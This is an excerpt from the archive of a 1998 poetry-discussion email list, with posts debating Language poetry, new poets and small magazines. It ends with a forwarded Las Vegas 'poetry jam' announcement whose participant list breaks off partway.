Doug

==========
D A Powell [redacted]
==========

Gary Sullivan wrote:
>
>Project Newsletter review of the press last issue. ((I think >Katie Leder or
>Lederer wrote it--anyone know who that is?)))
>
>
>Yours,
>
>Gary Sullivan
>[redacted]
>
>----------
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>Sender: UB Poetics discussion group ><[redacted]>
>From: Gary Sullivan <[redacted]>
>Subject: Re: Some "New" Poets
>To: [redacted]
>
>

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665. **Henry Gould**
Re: Spenser, Jarnot, Hightower
Wed 21 Jan 1998

On Thu, 13 Oct 2039 07:58:29 -0400 Annie Finch said:
>
>Henry: your anecdote about the 365-line piece reminded me of Spenser's
>tactics as delineated by Kent Hiatt in the amazing SPENSER AND THE
NUMBERS
>OF TIME. That's moving towards what I like to call postmodernism.

Annie, Hiatt's books have been very important for me. They led to a lot of other sources on number symmetries (& a-symmetries) in composition. It can lead to lax writing if you're overdependent on it. But I liked Dale's Keats quotes about the poem having a life of its own that you have to allow for. When the numerical symmetry & the other formal elements come together on their own, then you feel like you're really inside the inner architecture of the poem - in a

building. Especially if you haven't even been counting, until you're finished! That's what happened when I woke up in the morning & found I had 13 more lines to add. - Henry G.

p.s. while I'm the topic - check out the "center array" symmetry in "Drydock, Bilbao" (http://www.unf.edu/mudlark) Poster #10).

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666. **Dale M Smith**
Re: scoured grapes
Wed 21 Jan 1998

Oh. So there *is* a right way to read Watten.

To: [redacted]

Hi Dale, 'Detail and Concept' is a great name for a double act on the tails of Penn and Teller. However, and Joel you made me alguy (i meant to type laugh) out loud a lot. I'd sort of already decided not to post this reply, but in your wake, and very mcu (much) more humbly re:

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baguettes, managerial consistency, and
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make you feel? It's the opening of O'Hara's 'Hermaphrodite'. (1954?) Or:

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A clown's hat and a lovely hair pie
(Turn it over in your heads.)

Like I mean you
Aren't questions, each of you
Is an answer,
But you'd gone, all of you afraid'

from Whalen's 'Esprit d'Escalier Rant' (1957)

The 'good' stuff, for me, often unveils such nagging densities. There is no 'how' or no 'know how' the reading of negative capabilities.

love and love
cris

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667. **Jordan Davis**
Who Katy Lederer is
Wed 21 Jan 1998

A tip of the pin to Lisa Jarnot for including in a handsome number of smart young poet-critics (jeepers, more contemporaries) during her tenure at the PoProjNwsltr. This month's "find" is got to be Loren Goodman, whose review of Kristin Prevallet's Ernstwerk is got to be the funniest thing in poetry land since Exile folded up its little hat. Katy's a poet. She's finishing up her umfah at iowuh. There are gamblers in her family, she used to be in San Francisco, she edits the terrific and well-loved poetry mAgazine called Explosive. Now to switch back to the Newsletter, it is vewy vewy important that you read Lisa's interview with Bernadette Mayer, which if there is any hope for you will set you straight! Finally a poetry interview in which the poets talk like people! About things!

Dale, is it possible that the part of the Stein influence on contemporaneity that bugs you most is the apparent aimlessness? affectlessness? If you dip in to Stein in the middle she can seem aimless and affectless, but this is because she is going very very slowly. Or quickly, same thing. That steindip bugs me when I get it on my likmstik. But no kinds of love are better than others. Which reminds me, don't you wish Bob Dylan was as smart as Lou Reed? Bob doesn't catch up

to Lou until the early 80s, I think, around "Tight Connection to my Heart", but that's only because Lou'd been asleep for about a decade.

Candygram for Mongo,
Jordan

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668. **Don Cheney**
Re: you poets! (yard sales)
Wed 21 Jan 1998

david,

i just had a garage sale last weekend with a couple of friends. we didn't make a whole lot, probably $20 after buying lunch for everybody. kinda disappointing as i was hoping the money raised could help offset my son's soccer club fees (and said soccer team is having a garage sale later this month to help do the same thing). just establishing my credentials to say i thought that, if anything, tom's post was pro-garage sale. you DO have to look out when buying things at garage sales that are made up of pieces that are important to the whole (ie puzzles and games). and i thought that this reflected a garage-sale lover's savvy on the part of jesse ("savvy" looks like "sawy" on my screen).

you say savvy, i say sawy.

don

> *Tom Mandel's post encapsulates the trouble with all anecdotal poetry. I can well imagine such a poem (not that Tom makes that claim for it) being read aloud and the way the audience would nod its heads & sigh acquiescence. Shucks, why bother with yard sales at all, Clem? There's a bound to be somethin' wrong with whatever you buy they-r!*
>
> *(Hey--one way to know you're a redneck is, when somebody knocks on the door and asks if you're having a yard sale).*
>
> *Well, yard sales might be beneath Tom Mandel, de gustibus disputandum (shee-it, this here latin tag's got a piece missin', Blanche! You git it down at that flea-market?!), but I got some GREAT STUFF at the ones I mentioned yesterday. Artie Shaw's "Backbay Shuffle" for one buck! a couple of Nina Simone's for a dollar a piece. All unscratched. The shorter novels of Stendahl for $3. A sweater I'm wearing as I type this, $4, an unholey bargain. So don't let Uncle Tom from the nation's capital discourage you, you young uns out here in the U S of A.. Too bad that child's folks don't check the toys out 'fore they takes them home--caveat emptor* they might oughta think. Uncle Dave.*

> ** preacher says this is what the roman soldiers said when they heard Christ had risen--means "the cave is empty," and by extension "this party's a tile shy of a scrabble game."*

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669. **sylvester pollet**
Re: Best New Poet Club
Wed 21 Jan 1998

Miekal--it's a good time to think well of Bern, as he busted his butt (well, femur) and is mending in the hospital. Not the "best/news," but I thought you'd want it. I don't have his hospital address, but he's probably getting his mail: Bern Porter, Institute of Advanced Thinking, 22 Salmond St., Belfast, Maine (ME) 04915. And thanks, though my beard is white, not gray. Sylvester "Poetry is news that stays sewn."

At 12:26 PM +0000 1/21/98, Miekal And wrote:
>I will try my best to think of each & everyone of you as the best new
>poet, especially those gray beards out there & especialiest the bestest
>newest poet Bern Porter. Our sole mission is to recuperate the words
>"best" & "new" in a way that invites participation rather then the
>window-shopping critiques that seem to be in wholesale fashion on the
>poetics list.
>
>Miekal And
>
>best new html geezerwrecker in the hypermedia hippocket

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670. **Dale M Smith**
wanna be (kudos for foust)
Wed 21 Jan 1998

Duh... Broom? You burden the list with *nothing* to say.

To: [redacted]

I thought Graham Foust's post today was one of the most delightful I've read on this list. It was not overly burdened with "something to say," therefore it had more chance to say itself superbly. Kudos, Graham! And it was a necessary saying.

I am tempted to emulate, though knowing I'll fall far short. Graham's use of the phrase wanna be reminded me of a question (one of several, including "where

does he get that stuff?") stirred up by Dale Smith's recent posts. Usually, a "wannabe" is someone despicable. But a "Langpod wannabe" is surely _less_ despicable than an actual dues-paying Langpod? It's like a langpod is someone with a real small weenie, and a langpod wannabe is someone with an average-size weenie (or even a huge one like GB) who wishes it were shorter, so he could join the club.

So the hierarchy goes TOM CLARK / ED DORN (dead heat)

DALE SMITH (hanging in there, 3rd)

WANNABE LANGPOD (running out of the money)

AUTHENTIC LANGPOD (Pulled up short; shot)

DAVID BROMIGE (suffered oedipal castration)

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671. **bertha**
Catskill poets
Wed 21 Jan 1998

Oh, Pierre -- how could you, vis-a-vis Catskill poets -- how could you forget the real Catskills -- Sullivan, Ulster, Schoharie, Delaware County -- we're here, and it's not just a geographical "here" -- we're active. We have Word Thursdays, our reading series and home for poets since 1992, we have Bright hill Press and Out of the Catskills and Just Beyond, the 380 pp anthology in which your poems appeared, along with those of John Montague and Donald Petersen, and Naton Leslie and Jordan Smith and Carol and dick Frost and Ruth Stone, for God's sake -- we're having a great time out here in these here mountains, and it ain't Hudson, or on the Hudson. It's by the Delaware, and the Schoharie, the Susquehanna, etc. etc. and beautiful mountains, etc. and there are many of us. Did you forget?

Bertha Rogers
Editor in Chief
Bright Hill Press

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672. **Gary Sullivan**
Re: Who Katy Lederer is
Wed 21 Jan 1998

Thank you Doug & Jordan for Lederer info--I'll definitely check out her mag (& hopefully spell her name right from now on). Thanks, also, Jordan, for the nice

comment about Exile--yes, I'll check out Goodman's review, too--but, the Exile's not dead, just waiting for me to get a more-or-less permanent residence. Didn't I send you the "Corbett" issue? Lemme know; I'll send it gratis (same goes for anyone else interested). Working now on the "Crank" issue: featuring Olson's LETTER TO FIELD AND STREAM, Kostelanetz's THEY STOLE ALL MY IDEAS AND GAVE ME NO CREDIT, & a panel featuring Maya Deren, Ed Dahlberg, Laura Riding Jackson, etc., etc.

Now, Jordan, I LOVE Bernadette (see my cartoon homage, this issue of Rain Taxi), but (putting on my Crank Hat), what is this "talk like people! about things!"? Last night, my friend Fatimah called her family in Nigeria, spoke with them for a half hour in Howsa. Nigeria's a country made up of some 200 tribes, each with its own language. So, not only could I not understand a word she said, but neither would many in her native country--unless they're bilingual. She talked with them about "things," sure, but also about love, troubles she was having navigating the U.S. arts-funding bureaucracy, the exchange rate, the fact that the U.S. won't let her fly direct to Nigeria (she has to fly to France, first--"we" are apparently pissed at the Nigerian government right now). Again: I couldn't understand a word Fatimah said & I bet few regular readers of the Poetry Project Newsletter could've either. That mean she's not "people"? Was it elitist for her not to speak in English so's I could've understood? Is love a thing? The exchange rate? Methinks you maybe confuse "things" with "that-which-I-understand." Perhaps? Well, I need to save my crankiness for the next Exile. Tell you what: I'll read the new PPNewsletter cover to cover if you promise me you'll check out George Steiner's After Babylon.

Ciao for niao,

Gary Sullivan
[redacted]

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673. **david bromige**

dale smith reading Langpo--forwarded, because misaddressed originally. There is also a flaw in the address of my piece, switching from Dale Smith as 3rd to DS as 2nd person. Please excuse.

Wed 21 Jan 1998

> *To:poetics@;listserv.acsu.buffalo.edu*
> *From:*[redacted] *(david bromige)*
> *Subject:dale smith reading Langpo*
>
> *As I hoped it might, Dale Smith's attempt to come to grips with several specific texts reveals the gulf between him and myself, one that he had*

felt but will now become better able to describe, thereby defusing his panic and rendering him a more likeable human being. And there could be one other, equally valuable, result; but more of that, later.

I can't comment on all of his letter today, it is indeed a rich text, but let's see how far we can get before lunch . . .

"We hate poetry that has a palpable design on us [Keats]", quoted with approbation by Smith; "The work remains with the reader alone to understand," said with disapprobation, of Silliman.

Yet surely these are two ways of saying the one thing? If I am not "a reader alone" with a poem, it must be because the poet is whopping me over the head with some "palpable design".

Part of the richness of Smith's text, are its many contradictions. Here's another : speaking of the essays of the Langpos, he writes, "But if they have to justify their practice through another formal medium, their poems cannot be seen to generate sympathetic readings on their own." Well, what was Smith doing, reading Keats's prose justifications for his poetic practice?

The idea that an essay or even several essays on one's poetics proves that one's poetry is fatally flawed is not easy to support. There goes Creeley--there goes Olson--there goes Pound--Don't flush yet, there are lots of others . . .

"Unexamined assumptions," that was a phrase that kept popping into my head as I read Smith. Delivered, often, with the weight of Gospel. Perhaps, in fact, these unwarranted assumptions _were_ received ideas, for him. Perhaps they are culled from the teachings of Tom Clark. They have that familiar ring in my ear.

Item, that a poem should have a "crescendo." _Crescendo_ , a term taken from music, where it implies swelling, an increase in loudness, involves us in the history of words. Crescendi were not always felt appropriate to musical compositions. In part, they signal the end of the music and become a social sign, to let the audience know the show is about over. The final lines of poems appear, often, to have this sole function, especially useful at readings. A poetics that abjures interruptions for politeness is not likely to court the crescendo, which in any case raises certain other objections at this point in the history of esthetics. It imnplies a faith in linearity which a poet today may be unable to share. For such a poet, to write a crescendo would be an act of bad faith.

"Thought is a tool--not the source--of understanding." (The context shows that Smith holds "understanding" to be a goal of a poem). I'd like to ask

: If not thought, then what other function leads to understanding? And what _is_ "understanding"? We can show another has understood the use of a tool, because he can now hit the nail on the head with the hammer. But in matters poetic, understanding is much less susceptible of proof.

And what if understanding were _not_ the goal of the poem? "At the end of a Pinter play, a member of the audience has 'understood' when he has given up expecting an explanation" [Hubert & Patricia Dreytfuss, Intro. to Merleau-Ponty's _Sense and Non-Sense_]. In other words, he has learned what questions _not_ to ask of a Pinter play. I think that much of the trouble you are having with Langpo is that you haven't learned what questions _not_ to put to it. And this is a given, because one cannot learn about how to question a text when starting from a "Gripe" with it. You need to assume that the text is as smart (at least) as you are; you need to lay aside any xenophobia. You need to make yourself open, vulnerable. Don't think of thought as a tool. Or rather, ask yourself, what kind of a tool? Is it today? A wrench? A hammer? A screwdriver? A steamroller? A movie camera? Thought is much more a strobe or universe, an environment, a catastrophe, than a tool, in my experience. A poem might register the dismay of thought, the decay of a thought, a remarkable absence of thought. Ask the poem, not what they told you you should demand of it.

Don't ask it to deliver a crescendo then fault it when it doesn't. Don't ask it to emulate Imagism espec. as practiced earlier in his oeuvre by WCW, then blame it when it fails to deliver. Attempt to study it without prejudice.

Of course this is impossible. This is what Watten says when he writes, "comes to the history of words." Because words do have a history (called a dictionary, called experience), they will always prejudice thought. But to what extent, depends upon how hard one struggles. I disagree btw that Watten takes us "outside the poem" when he writes that line. He is naming what immediately confronts him--or any one of us--when he sits to write. Thought is forming, but all the names for it are pre-emptive. This procedure (of Watten) strikes me as _more_ immediate than Imagism, the poet intercepts the problem even before it can be illustrated with 'concrete' word or phrase.

I concur with your summary, "This stanza might mean that the history of words coerce [sic] human thought processes." With such a good start, I'm sure you will find this poem a packed package as you keep on (un)packing it.

I think a poet might _want_ to use words that 'repel' meaning rather than 'attract' it. That liberate us from the habitual meanings, clear a space, allow somethinhg fresher to constellate (the mind abhors a vacuum).

You are off to a good start with the Perelman, too, a working concept to read with, "each line...one could, arguably, see as a mimetic response to the accumulative pressures of urban life." It is when you write "But the idea is expressed soon enough and several stanzas could have been cut to spare the reader without losing the intented impulse of poetic expression" that I disagree, and find hidden assumptions undoing what is there. You know the story about Mallarme and Degas? Degas wants to write poetry, he tells Mallarme. Next tiome they meet, Mallarme asks how this project is going. "Miserably," replies Degas, "I have all these ideas, but I can't get started." "My dear Degas," the poet replies, "Poems are made with words, not ideas."

I don't think a poem exists to convey an idea. Ideas can be deduced from a poem, but foremost is the play of the words, their other a/symmetries; I don't think a poem is necessarily coterminous with its idea. Same for thematic unity. These are historical givens, so they can become historical subtractions, too.

On another matter, it's hard to take your recurring complaints about the leisure classes v. us working stiffs. I've been both but I always read and wrote. I mean, to quote the Eagles, "Get over it." If we all had leisure (like in the 60s we knew was going to soon be the case, ha ha, thank you Herbert Marcuse), I suppose there might be a larger audience for writing that, as Langpo, is generous enough to make big demands of a reader. To be a challenge, not a sop for thought. But the notion of cheapening mind to give speed readers short thrills is surely abhorrent to you as well as to me. And I may be unfair in my paraphrase. But you do sound to be tending in that direction. Can you hear that?

Many of the finest artists have been persons of independent means. Isn't it amazing that they were able to remember they belonged to humanity nonetheless?
Actually, "independent means" allow you to feel the universal conditions you constitute/are up against, of being alive with foreknowledge of your death, whereas slogging away at a job one can let the slog buffer one against such knowledge.

I am glad that Joel Kutzsai urged you to this endeavor, Dale, and glad you took him up on the challenge. We are always changed by what we engage with. In what we intensely dislike, is hidden something that is like us--hence the intensity.

David

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674. Jordan Davis
Meow (carrying on in public)
Wed 21 Jan 1998

Gary --

Things: monogamy, marriage, the social and poetry (don't all say "put on your whites we're going to the social" at once), autobiography, neurology, xanax, dreams. Mary Mothersill gave a talk entitled "What is a thing?" That was a funny poster to see on a mailbox.

I wasn't questioning your loyalty, Gary -- don't got the power base to do that. I was hoping to bait someone into splitting hairs with my blurbage, and I'm pleased to see it's someone who at least _isn't_ affectless.

Go team --
Jordn

PS FJB yes Belle and Sebastian's good but there were better things things year in both music and poetry -- even The Bible!'s first was better, actually and that was crikey 10 yrs ago -- and look what happened to them, or Morissey for that matter or Lloyd Cole or ...

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675. KENT JOHNSON
Hurrahs all around
Wed 21 Jan 1998

Even though I don't have exactly the same take as he, Hurrah for Dale, for speaking out and provoking a very interesting exchange.

And also Hurrah for those who film the strangers fornicating in bed, and then pull back to show the cameras filming the strangers fornicating in bed.

Hurrah for those who show the camera in the mirror filming the cameras filming the strangers fornicating in bed.

Hurrah for the two facing mirrors in which the young post-Language poet with the conference name tag is reproduced forever and ever.

Hurrah for infinity and name tags, for there would be no poetry without them.

Hurrah for Dale again, even though (and I _do_ want to make sure everyuone understands this lest I become seen on this list in a poor light!) I don't have exactly the same take.

Hurrah for the Anxiety of Influence in 1998. Now Ron Silliman and Don Byrd can start writing poetic dramas about cathedrals or mandalas.

Hurrah for the Catskill School of Poetry, which apparently exists outside my own mind.

Hurrah for Paris, not as original as La Paz, but better than Providence.

Hurrah for this list, which shows minds in control of their language but not of genre.

Hurrah for that last point. To elaborate: The complete archives of this list will eventually be seen as the great product of Language poetry--a monstrously epic, heteroglossic collage that shows minds in control of their language but (paradox) in blissful ignorance of the cameras filming them, or of the screen upon which their moaning and writhing figures were simultaneously projected.

Hurrah for me who could have spent an extra 20 minutes making that last Hurrah somewhat smarter by elegantly inserting an admission of my own complicity but didn't.

Hurrah for that long-titled tour de force from David Bromige to Dale, full of typical brilliance and faultless sentences, couched and padded in teacherly patience, dripping with anger and violence.

Hurrah for George Bowering's long penis, a penis, apparently, long as a horse's.

Hurrah for David Bromige, who told the list he has an
unexceptional penis, and also that he had once been "bi" but no
longer, no sirree.

Hurrah for Poems for the Millenium, no question the greatest anthology ever. I wish Yasusada hadn't been taken out at the last minute, but I'll get over it.

Hurrah for Alan Ginsberg.

Hurrah for Alan Sondheim. How possible no one has mentioned him in all this anxiety about the "new"?

Hurrah.

Hurrah.

Hurrah for visual/experimental poets who have goat-farms, and I really mean that.

Hurrah for those who instead of writing a post about the "new" called their radio station to get Jim Hightower on the air.

Hurrah for former members of the Communist Party USA who haven't killed themselves.

Hurrah.

Hurrah for plays whose message is that there is no message. Now we can spend all day in front of our screens, trying to bite each others nipples off and confronting death.

Hurrah.

(hip hip) Hurrah.

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676. k. lederer
Re: Who Katy Lederer is
Wed 21 Jan 1998

I'm Katy Lederer! I just joined the list yesterday--

I do edit Explosive Magazine, which features work by wonderful young writers (and usually one or two older writers). It comes out three times a year. The covers are each hand-printed, and each poet is allototed an ample number of pages in which to show off their talents...

If you're looking for a magazine that features a braod range of new poetries and poetics, feel free to send me five bucks at 420 East Davenport Stree #2, Iowa City Iowa, 52245.

The fourth issue is going to be out next week and will be featuring lots of great work by: Prageeta Sharma, Rod Smith, Lisa Lubasch, Eleni Sikelianos, Darin De Stefano, Mark Salerno, Leslie Scalapino, Gillian Kiley, Michael Basinski, Travis Ortiz, and Dave Morice.

Past issues have included Lyn Hejinian, Bill Luoma, Ishmael Klein, Greg Fuchs, and many many others...

Yours,
Katy Lederer

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677. Pam Brown
THE newest
Wed 21 Jan 1998

Dear Poetics Listees,
At the Calendar Spit "Luncheon with New Poets" last week at Porpoise Point, Hawks Nest in New South Wales, one of the newest younger poets, Chris Trapender, revealed his admiration for his influential cousin, the late Ern Malley to a rapt & responsive audience.
All the best from downunda (I s'pose)
Pam

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678. Ben Carrelis
Re: THE newest
Wed 21 Jan 1998

On Thu, 22 Jan 1998 10:55:56 +1000 Pam Brown said:
>Dear Poetics Listees,
>At the Calendar Spit "Luncheon with New Poets" last week at Porpoise Point,
>Hawks Nest in New South Wales, one of the newest younger poets, Chris
>Trapender, revealed his admiration for his influential cousin, the late Ern
>Malley to a rapt & responsive audience.
>All the best from downunda (I s'pose)
>Pam

God, I wish I could have been there. Not only to enjoy the poetic poipoises, and another GREAT reading by Cris (she hates that H, for some reason - probably connects it with somebody on the list) - but we could have cleared up a lot of these problems about who's important in poetry these days - Cris has that knack of shelling nuts without cracking them - did she learn that in the bush? - Ben Carrelis

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679. Henry Gould
generation underwear
Wed 21 Jan 1998

Just a quick thought on the language poetry, generational whango that's generated so much "lighght" hereabouts. Ron & Don miss the energy of the early days. Steve thinks it has to do with material conditions, including publishing. Everybody almost thinks there are more great poets out there now than anybody realizes fully.

Is it possible the key word for these disparate viewpoints is... dare I say it... the political climate. The late 60s possessed a highly intense political climate of war/repression/chaotic freedom/anarchism, a kind of free-form politics on the literary level (OK I'm simplifying! Gimme some slack!!) By the 90s, everybody's OVEReducated about politics; politics is all there is; yet there's no simmering energy; there's a sense of waiting, a void, a boredom, a cynicism, a blandness, a sense of lack of direction. (OK I'm simplifying!) Steve also spoke to this atmosphere in his "Literary Change" ILS essay.

Now politics is really at the heart of poetry. But if the language of politics has led on the one hand to cliche and on the other to a stymied sense of alienation - a Balkanization - one can see that creating a political poetry would be a VERY

DIFFICULT thing to do. Especially since we have a sort of lax oppositional tradition - from Ginsberg down & up in all directions - which is at once ignorant, arrogant, sentimental, and vulgar about the moral/historical actualities of politics - the tremendous terror & grief that can result from unwise, inhumane & callous political decisions. & how evil can come out of good & vice versa... & what it takes to be an ombudsman...

however it is these very human complexities which afford the possibility of a poetry that might stand with the achievements of the past on a human scale.

Now politics is one of those favorite horror topics on this list that lets everybody expatiate at great length and gas on & on & get away from the literary issues & actual works out there. So I will suggest that we not do that. Let's talk about specific poets & what they've done.

I'm sorry I can't talk about anybody more recent than Auden (I AM 94, you know) . Auden is a good example of a slippery figure who can be read as left or right, political or apolitical, depending on your period. But one way to get around that is to see how he uses an accessible language to turn strictly poetic means to political subjects & VICE VERSA. & that part of his accessiblity, for me, is his RECEPTIVITY to past poetries, his ability to make them new & relevant, if you will; his sense of play & fun which OPENS UP a poem aesthetically and morally.

Now if we have an exciting poetic scene which is hermetically sealed off from the general public & mass publishing, this is a very odd situation - & rather than bemoaning the fact or vaunting "alternatives" of various kinds, some politically minded poets will see how they can turn it to advantage. Probably, I'm sad to say, a lot of clever socialist types who have no sense of patriotism or national destiny. Then of course we can wait for the next guru, blabmeister, culture fig-newton, what have you, to Rod McKuen us all to another circle of Dantean Boredom... - Henry Gould

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680. Henry Gould
very quick 2nd thought
Wed 21 Jan 1998

To crack the nutshell without being crummy, to paraphrase the brilliant Ben Carrelis - what I mean is, maybe the reason Ron & Don can't see much happening in the current scene is that the attack they were part of in the 70s used techniques which because of the very different political climate are inappropriate at the moment - so even though they see their own epigones traipsing along in the new sentence & the new split pea paragraph & the objectivist art item like ever so well they learned from their elders, their elders can see THEIR

OWN TECHNIQUES no longer apply. The weather has changed; the poetry can't read the weather yet. Get out yo antennaes, boy-os & gills! - Henry Gould

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681. **R. Gancie**

sex sex sex gross and levitt's sokalled reasoned discourse

Wed 21 Jan 1998

Since Katha pollitt is a fellow poet, I'm certain that you all read her piece, I'm O.K., You're P.C. in the January 26th, 1998 Nation. According to Pollitt, Paul Forman, a curator of Modern Physics at the Smithsonian here in Washington, wrote "an elegant, erudite and withering review in Science" of "The Flight from Science and Reason," an anthology of essays delivered at Paul Gross and Norman Levitt's Conference on Accepted Science held in New York. Forman had the temerity to point at that the conference had been bankrolled by the wealthy, reactionary and ubiquitous Olin and Bradley Foundations and that the speakers were from the high priced academic hooker list of the National Association of Scholars and therefore its claims to be nonpoliticized had all the efficacy of a Philadelphia bankroll. Levitt and others orchestrated a letter and phone call campaign, a damn sight nastier than this E-mail, to Science magazine. As a result Katharine Livingston, an editor who had worked for Science for 33 years was de facto forced to take early retirement. That's tough for Livingston but after all to paraphrase Lenny Bruce in Father Flotsky's Triumph; "You [she] knew what the gig was when you [she] took it." What I tried to point out in earlier E-Mails is that these here scientists get their bone from of the Military Industrial complex (Olin=ammuntion; "The bullets?---Look in back of my brown slacks."-for real Bruce fans only) and worse. Now Paul Forman and Katha Pollitt have also stated the obvious. Actually, I think their paranoid. But let's not be too quick to negatively diagnose Pollitt; she does write some thoroughly mawkish poetry; that should appeal! P.S. Pollitt can be inconsistent. I'd like to draw attention to one instance. She states that Forman is well equipped to point up the obvious political bias in the Gross-Levitt collection because he has "formidable credentials in the field" e.g. Physics. But physics ain't got shit to do with it. Any chump can see through the lying, stooging gun-for-hire hustle in the Gross/Levitt project. Forman can, Fish can, I can; Christ, I'd wager even Henry Gould can!

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682. **robert drake**

Re: jam (packed)... headcount=200+ (fwd)

Wed 21 Jan 1998

"there has been no moment nor movement that has crystallized in anything like the same way poetry did in the early 1970s..."

> *---------- Forwarded message ----------*
> *Date: Wed, 21 Jan 1998 15:38:54 -0500 (EST)*
> *From:* [redacted]
> *To:* [redacted], [redacted], [redacted]
> *Subject: jam (packed)... headcount=200+*
>
> *dear poets, friends, strangers, etc.*
>
> *hundreds of performance poets from all over north america*
> *will gather in las vegas for the world's first "poetry jam" from*
> *monday, march 2nd through thursday, march 5th, 1998. <-- look! the dates!*
>
> *"jam" will be a 4-night explosion of performance poetry involving:*
> ** 3 shows/night -- each poet performs in front of all the others,*
> ** a video-shoot -- we'll be filming all of these shows, and*
> ** a party -- the natural result when performance poets get together.*
>
> *we're still nailing down the final details with the hotel,*
> *but we feel confident that the dates will not change.*
>
> *the response to jam has simply been _overwhelming_.*
> *already, _200+_ poets have signed up saying they plan to come.*
>
> *i've included the list so you can see for yourself it's quite impressive.*
>
> *i've changed the original plans in order to accomodate the influx.*
> *we've added a fourth night to what was originally a 3-night event,*
> *and we'll now be doing 3 shows per night, not the 2 shows planned.*
> *this _doubles_ the total number of shows we'll do, up from 6 to 12.*
>
> *still, even with these changes,*
> *i can only accomodate another 100 poets.*
>
> *an important aspect of jam is that:*
> *"everyone gets to hear everyone else,*
> *and everyone gets to be heard by everyone else."*
>
> *this manifestation of cooperation is a hallmark of jam,*
> *as jam is the ying^yang kissing::cousin flip/side of slam.*
> *some basic attitudes of both slam and jam are exactly the same*
> *-- promoting performance poetry and building community --*

but where slam uses competition, jam uses cooperation.
(this doesn't make jam better or worse, just different.)

at any rate,
this cooperative stance means
we have one performance stage.
and only one.
and everyone performs on that stage,
in front of everyone else.
(kinda like finals night at slam, but it's all four nights at jam.)

so, when you perform, it'll be in front of the 200-300 poets jamming.
likewise, when those 200-300 poets get their chance to perform,
you'll be in their audience. (don't come if you don't want to listen.)

in other words -- performance-wise --
it's "one for all and all for one".

this non-hierarchical structure also means that
everyone receives the same amount of stage time --
so you only get 3 minutes up there.
but oh, what a glorious 3 minutes!

obviously, we can only put up so many poets in 4 nights,
and our rough figures say that the maximum number is 300.
(to fit 300 poets in 12 shows, we need to _average_ 25/show.)

so, since we will _have_to_ cut off the number of poets at 300,
we have under 100 slots left. we've already offered las vegas locals
anywhere from 20-50 of _those_, so the spots are going very fast!
(it took us less than 3 weeks to go from 150 signups to over 200.)

the bottom line:
if you want _be_sure_ you can perform at jam,
and have your work be included on the historic jam videotape,
don't delay! e-mail me to sign up today.

i'd hate to turn anyone away,
but i can't break the laws of time and space...

oh, if you know other poets who _don't_have_e-mail_, please
tell them about jam, and let them know it's final-stretch time.
i have been using word-of-mouth and e-mail exclusively,
so some poets are out of the loop. please tell them. thank you.

of course, it's ok if you want to just want to come and watch,
in which case you don't have to get yourself signed up this early.
(if you look at the names listed below, i think you'll agree that

it _will_ be a dynamite event to see great performance poetry,
and indeed, that is the most jammin' reason to decide to come...)

but i'm not sending this e-mail to performance poets that i think
would be content to just sit on the sidelines and watch this circus...

-bowerbird
[redacted]

p.s. if you're not signed up, i plan on giving your mailbox a rest.
(unless you tell me you actually want to get the
updates that will be going out to the participants.)

---

included below is the list of people signed up for las vegas.
(note: since we have only just now finalized the dates for jam,
some of the people listed below who signed up in the past
will inevitably have a conflict and be unable to attend,
so this is _not_ a confirmed list of attendees at this time.
if you're one of the poets signed up below, and you can't make it
from march 2-5, please let me know immediately via e-mail.)

aside from the "quantity" aspect of the large number itself,
the list is equally impressive from a "quality" perspective,
what with poets like:
* *the #1 individual slammer in the country (boogieman),*
* *and #5 (jerry quickly) and #6 (monica copeland) too, as well as*
* *poets from the #1 mouth almighty team (beau sia and taylor mali),*
* *and a good many other slam notables, such as:*
* *'97 nationals organizer faith vicinanza,*
* *last year's haiku champ aaron yamaguchi,*
* *this year's haiku champ deborah edler brown,*
* *a number of national-level slammers, from teams such as*

los feliz/silverlake, pacific ocean team, los angeles,
seattle, portland, san francisco, santa cruz, chico,
new york, long beach, dallas, albuquerque, cleveland,
syracuse, winston-salem, worcester, and connecticut,
* *and well-know performance poets from a number of other places.*

the names: (remember, all of these are _tentative_, pending availability...)

*mark schaefer * bowerbird intelligentleman * mack dennis * g. murray thomas * william mclain * robin gwynne * josh millican * jerry quickly * milo martin * ben porter lewis * nathan green * yvonne de la vega * gabriel alvarado * mary cahill * peter coca * blue * sean sanneman * ken scott * larry jaffe * noomi jaffe * tony scibella * rod smear * friday * sara raymond * 25. joe speer *

*lisa verlo * rich ferguson * dawn zummo * chris tannahill * john noonan * martin * donn deedon * audrey allen * laughing larry * scot walters * kevin connolly * yolanda "sister yo" androzzo * ricardo "crazy" berg * jasmine rose wolf * rashawn vaughn * e. a. lynch * aaron yamaguchi * kennon b. raines * leslie d. hanson * merilene murphy * mona jean * debra fay holton * davey * lea * 50. lob * kurt * mike cluff * julianne miller * rod boyer * rita mitzner * rafael renteria * michael paul * claudie * l. jeanne stern * larry schulz * dayve hind * c. renee foster * alan cohol * gene silver * sheri gregg * jaimes palacio * ardinger * patricia a. bowser * lorelle * daphne knox * eirik ott * melissa morgan * jeff jurgens * estelle childers * 75. debbie allen * joseph powell * katie setzer * mireille dewitt * von enemy * noel franklin * whitman mcgowan * margery snyder * lizzie wann * bob redmond * ken hunt * faith vicinanza * kenn rodriguez * clebo rainey * noemi collie * chief eagle eye * carmen vega * monk * elizabeth thomas * paula morasch * raelene smillie * joe smillie * leah smillie * russell johnson * tom jessor * 100. tommy o'riley * thomas hardy * megan hardy * mollie hardy * neil tigner * s.a. griffin * hassan * jimmy smith * michael thomas * glenn b. collins * drew derr * jim * lynda la rose * kyria abrahams * caloki * dafydd mckaharay * gene boland * christopher mitchell * leonard cox * shawn mercer * lovehorse cowbell * isaac rockoff * hydropods * gregory gregory * leslie levy * 125. brian bywater * marcus kugler * don campbell * eric von meisner * tommy joe * bolt * deborah edler brown * monica copeland * mark pomeroy * sharon smith-knight * stephanie abraham * diane dorman * ruthie schwabel * toni zabek * abby * shane luitjens * hanif rana * jon kinney * leanne * brett * aaron gray * baba ras k * marie morasch * rhonda hardy * moss sherian * 150. theresa baca * kim holzer * julia ann delbridge * chris vannoy * garland thompson * christian elder * mauro monteiro * carrie * danny peck * michael zittle * alex papanicolopoulos * kim hodges * leeann heringer * boogieman * j.j. campbell * tarin towers * anthony alba * kevin sampsell * ritah parrish sampsell * melody jordan * frank d'andrea * mike m. mollett * rayn roberts * kelli parrish * jennifer geran * 175. allison durrazzi * russell salamon * roberto morales * stazja * ionut popescu * deep red * bill smillie * tom hardy * lugo * beau sia * taylor mali * robt o'sullivan schleith * sherry mcclure * kelli cole * john torres * alex nava * slam granny * fidel * rex * chuck desimone * mark boutros * sean thomas dougherty * jim ysidro * michele wright * bill wright * 200. cosmo * nv asl #1 * nv asl 